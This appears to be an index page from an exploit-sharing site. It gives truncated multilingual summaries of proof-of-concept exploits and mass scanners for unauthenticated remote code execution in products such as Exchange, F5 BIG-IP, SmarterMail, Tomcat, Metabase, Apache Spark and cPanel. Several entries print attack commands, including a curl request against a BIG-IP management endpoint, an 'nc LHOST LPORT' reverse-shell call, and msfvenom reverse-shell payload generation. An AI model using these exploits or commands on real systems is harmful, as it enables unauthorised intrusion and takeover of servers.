CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS 事前認証RCEスキャナー CVE-2025-54322 のマルチスレッド脆弱性スキャナーです。これは XSpeeder SXZOS ファームウェアにおける認証不要のリモートコード実行脆弱性で、世界中の約 70,000 台以上のホストに影響を与えます。 📋 目次 脆弱性について 機能 インストール 使用方法 出力 免責事項 クレジット 作者 🔍 脆弱性について CVE-2025-54322 は、SD-WAN デバイス、ルーター、エッジネットワーク機器を動作させる XSpeeder SXZOS...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...

Exch-CVE-2021-26855_Priv

Exch-CVE-2021-26855 ProxyLogon は CVE-2021-26855 の正式な総称であり、Microsoft Exchange Server の脆弱性で、攻撃者が認証をバイパスして管理者になりすますことを可能にします。このバグは、別の認証後任意ファイル書き込み脆弱性 CVE-2021-27065 とチェーンすることで、コード実行を実現しています。影響を受けるすべてのコンポーネントはデフォルトで脆弱です！ その結果、認証されていない攻撃者は、開かれている 443 ポートのみを介して Microsoft Exchange Server 上で任意のコマンドを実行できま...

CVE-2022-33980

CVE-2022-33980 CVE Apache Commons RCE 可以使用 url、dns、script 等关键字连接任意服务器...

Weblogic_Wsat_RCE

WeblogicWsatRCE CVE-2017-10271のPOCです。 java.lang.ProcessBuilderがRCEの元のベクターであったため、この特定のペイロードをブロックするシグネチャベースのルールが複数存在します。 java.lang.Runtimeを追加しました。今後も他のものを追加する予定です。これは教育目的のみであり、このコードの使用について一切の責任を負いません。...

CVE-2025-52691-poc

CVE-2025-52691 POC CVE-2025-52691 概念验证 - SmarterMail 未认证任意文件上传导致远程代码执行 ⚠️ 免责声明 仅用于授权的安全测试和教育目的。 未经授权的访问是违法的。 概述 SmarterMail 中的严重漏洞，允许未经认证的攻击者通过路径遍历上传任意文件，从而导致远程代码执行。 漏洞： 上传端点中的路径遍历允许将 ASPX 网页后门上传到 web 根目录 影响： 未认证远程代码执行 攻击向量： 网络/未认证 安装 root@kitploit: git clone...

CVE-2026-48908-SP-Page-Builder-Joomla

CVE-2026-48908: SP Page Builder Joomla 未授权远程代码执行 CVE-2026-48908 漏洞的利用验证（PoC）代码，针对 Joomla SP Page Builder 组件的未授权远程代码执行漏洞。 漏洞概述 CVE-2026-48908 是一个严重安全漏洞，允许未授权的攻击者在易受攻击的 Joomla 安装上通过 SP Page Builder 组件对 ZIP 文件提取的处理不当来执行任意代码。 技术细节 CVE ID： CVE-2026-48908 组件： comsppagebuilder 受影响版本： = 6.6.1 修复版本： 6.6.2...

CVE-2021-22986-Poc

CVE-2021-22986-Poc これはBIGIP iControlの認証なしRCEのPoCです。 POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS 未认证大文件上传远程代码执行漏洞 PoC 该脚本允许利用 CVE-2023-4220 所描述的 Chamilo LMS 软件安全漏洞。系统在 1.11.24 之前的版本中存在漏洞。 用法 将仓库克隆到您的计算机并使用 pip 安装依赖项（建议使用 virtualenv 创建一个环境，以将这些安装与全局安装分开） root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...

CVE-2025-24813-Scanner

CVE-2025-24813 スキャナ 脆弱性のある Apache Tomcat サーバーを検出するマルチスレッド対応スキャナです 任意ファイルアップロードによる RCE 脆弱性 CVE-2025-24813 に対応。 説明 このスキャナは、以下の手順で Apache Tomcat サーバーの CVE-2025-24813 脆弱性をチェックします: 1. HTTP PUT を介してシリアル化された Java オブジェクトをアップロードする試行 2. アップロードされたファイルが jsessionid パラメータを介して実行可能か確認 機能: マルチスレッドスキャン スレッド数調整可能 C...

CVE-2025-3243

CVE-2025-32433 Erlang SSHライブラリのエクスプロイト CVE-2025-32433 の概念実証エクスプロイトです。これはErlangのSSHライブラリにおける深刻な脆弱性であり、不正な SSHMSGCHANNELREQUEST パケットによって認証前のコード実行を可能にします。 特徴 オリジナルエクスプロイト : Matthew Keeley 氏 更新版 : Tyler Ramsbey 氏 LHOST 、LPORT 、RHOST 、RPORT のコマンドライン引数 argparse によるビルトインのヘルプと使用方法 os:cmd"nc LHOST LPORT -...

metabase-pre-auth-rce-poc

Metabase 预授权 RCE CVE-2023-38646 POC 这是一个用 Python 编写的脚本，可用于利用 Metabase 软件中 CVE-2023-38646 所描述的安全漏洞。该漏洞影响 0.46.6.1 之前的开源版本以及 1.46.6.1 之前的企业版。 使用方法 该脚本需要 目标 URL 、设置令牌 setup token 以及要执行的 命令 。设置令牌可以通过 /api/session/properties 端点获取。复制 setup-token 键的值。 该 命令 将在目标机器上执行，目的是获取一个 反向 shell 。你可以在 RevShells...

CVE-2024-7954

CVE-2024-7954 このエクスプロイトは、SPIP ターゲット CVE-2024-7954 に対してシステムコマンドの実行を試みます。 概要 これは CVE-2024-7954 用の一括スキャンおよび悪用ツールです。SPIP 4.2.8 では、認証されていない攻撃者が SPIP ターゲット上で RCE を実行できます。このツールは、こちらの セキュリティ研究 に基づいています。 使い方 スクリプトの依存関係をインストール: root@kitploit: pip install -r requirements.txt オプション: root@kitploit: POC for SP...

CVE-2019-16278

CVE-2019-16278 Nostromo 1.9.6 の CVE-2019-16278 を悪用するためのシンプルで高速な Python スクリプトです。Nostromo nhttpd の httpverify 関数における Directory Traversal 脆弱性を利用し、巧妙に細工された HTTP リクエストによって認証なしの RCE を引き起こします。必須引数として Web サーバーのホストとポートのみを受け取ります。任意引数として実行するコマンドを指定できます（デフォルトのコマンドは 'id'）。 使用法: nostroxploit.py host port comma...

cpanel-sessionscribe

SessionScribe - CVE-2026-41940 cPanel 和 WHM 中的严重未认证 RCE。 四个 HTTP 请求即可通过向预认证会话的密码字段注入 CRLF 来伪造 root 会话。 无需认证、无需任何前置条件，所有受支持的版本分支均受影响。 由 Sina Kheirkhah 于 2026-04-28 披露 / watchTowr Labs。 快速入门 · ioc-scan · mitigate · remote-probe · 受影响版本 · 优先级顺序 !IMPORTANT 112、114、116、120、122、128 分支没有供应商补丁。 这些...

CVE-2024-25600

CVE-2024-25600 Ejecución Remota de Código no autenticada – Bricks Uso: python3 bricks.py Ejemplo: python3 bricks.py https://example.org referencia: https://github.com/Chocapikk/CVE-2024-25600...

BigFinger

CVE-2023-46747 - Big-IP RCE（認証不要） これは、F5 BIG-IP アプライアンスの TMUI インターフェースを介した認証不要のリモートコード実行脆弱性（CVE-2023-46747）を悪用するための Python3 スクリプトです。基本的に、この脆弱性がヒットすると、 資格情報なしで シェルを取得できます。 スレッド処理、ファイル入力サポート、プロキシ処理、オプションのシェルアクセスを備え、脆弱なターゲットを一括チェックできます。迅速かつ乱暴な自動化を必要とするセキュリティ研究者、ペネトレーションテスター、レッドチーム向けに作られています。 💥 機能...

Fast-CVE-2022-22965

標的マシン root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表...

CVE-2018-11770

CVE-2018-11770 Apache Spark 未授权反向 Shell RCE 基于 该 Metasploit 模块 重写的独立 Python 3 RCE 漏洞利用程序 漏洞利用 POC 在此说明。利用代码本身 在此解释。 在 Python 3.7 环境下 对该目标 进行了测试。 使用方法： root@kitploit: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -f jar -o...

R2SAE

R2SAE - React2Shell 自动利用工具 用于检测和利用 CVE-2025-55182 的 Firefox 扩展 React Server Actions 中的原型污染漏洞 功能特性 • 安装 • 使用 • 免责声明 ⚠️ 免责声明 本工具仅用于授权安全测试。 未经授权访问计算机系统属于违法行为。仅可在您拥有或获得明确书面许可的系统上使用本工具。作者不对任何滥用行为负责。 🎯 概述 R2SAE（React2Shell 自动利用工具）是一个 Firefox 浏览器扩展，用于自动检测和利用 CVE-2025-55182 ——Next.js React Server Actions...